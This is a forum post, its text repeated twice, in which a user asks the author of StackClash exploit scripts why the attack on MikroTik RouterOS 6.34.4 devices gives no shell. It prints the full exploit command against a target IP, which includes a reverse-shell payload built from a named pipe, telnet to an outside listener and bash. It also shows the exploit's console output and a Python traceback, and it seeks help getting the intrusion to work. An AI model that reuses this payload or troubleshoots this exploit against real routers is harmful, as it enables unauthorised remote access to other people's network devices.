Hey man, i am on a network with lots of RouterOs 6.34.4. Tried your scripts but can't get a connection neither through Netcat or meterpreter! I used first x86 binary file and stackclashx86.
python StackClash_x86.py 18.10.0.170 80 www_binary_x86 "/bin/mknod /ram/f p; /bin/telnet 192.168.1.105 4444 < /ram/f | /bin/bash > /ram/f 2>&1"
Building ROP chain...
[+] Binary loaded
[+] Loading gadgets, please wait...
[+] Gadgets loaded !
The ROP chain is 1912 bytes long (32768 bytes available)
Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Sent
Starting exploit
Done!
Netcat doesn't respond. Tips?
P.S I tried the mips Versions with corresponding mips scripts. It won't work, so i assume the device isn't misbpe arch? Here is what i got.
////////////////////////////////////////////////////////////////////////////////////////////////////////
python StackClash_mips.py 18.10.0.170 80 www_binary_mips "/bin/mknod /ram/f p; /bin/telnet 192.168.1.105 4444 < /ram/f | /bin/bash > /ram/f 2>&1"
Building shellcode + ROP chain...
Traceback (most recent call last):
File "StackClash_mips.py", line 258, in
payload = build_payload(binRop, shellCmd)
File "StackClash_mips.py", line 140, in build_payload
shell_code = build_shellcode(shellCmd)
File "StackClash_mips.py", line 93, in build_shellcode
shellCmd = bytes(shellCmd, "ascii")
TypeError: str() takes at most 1 argument (2 given)
//////////////////////////////////////////////////////////////////////////////////////////////////
Thankks in Advance!
Hey man, i am on a network with lots of RouterOs 6.34.4. Tried your scripts but can't get a connection neither through Netcat or meterpreter! I used first x86 binary file and stackclashx86.
python StackClash_x86.py 18.10.0.170 80 www_binary_x86 "/bin/mknod /ram/f p; /bin/telnet 192.168.1.105 4444 < /ram/f | /bin/bash > /ram/f 2>&1"
Building ROP chain...
[+] Binary loaded
[+] Loading gadgets, please wait...
[+] Gadgets loaded !
The ROP chain is 1912 bytes long (32768 bytes available)
Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Sent
Starting exploit
Done!
Netcat doesn't respond. Tips?
P.S I tried the mips Versions with corresponding mips scripts. It won't work, so i assume the device isn't misbpe arch? Here is what i got.
////////////////////////////////////////////////////////////////////////////////////////////////////////
python StackClash_mips.py 18.10.0.170 80 www_binary_mips "/bin/mknod /ram/f p; /bin/telnet 192.168.1.105 4444 < /ram/f | /bin/bash > /ram/f 2>&1"
Building shellcode + ROP chain...
Traceback (most recent call last):
File "StackClash_mips.py", line 258, in
payload = build_payload(binRop, shellCmd)
File "StackClash_mips.py", line 140, in build_payload
shell_code = build_shellcode(shellCmd)
File "StackClash_mips.py", line 93, in build_shellcode
shellCmd = bytes(shellCmd, "ascii")
TypeError: str() takes at most 1 argument (2 given)
//////////////////////////////////////////////////////////////////////////////////////////////////
Thankks in Advance!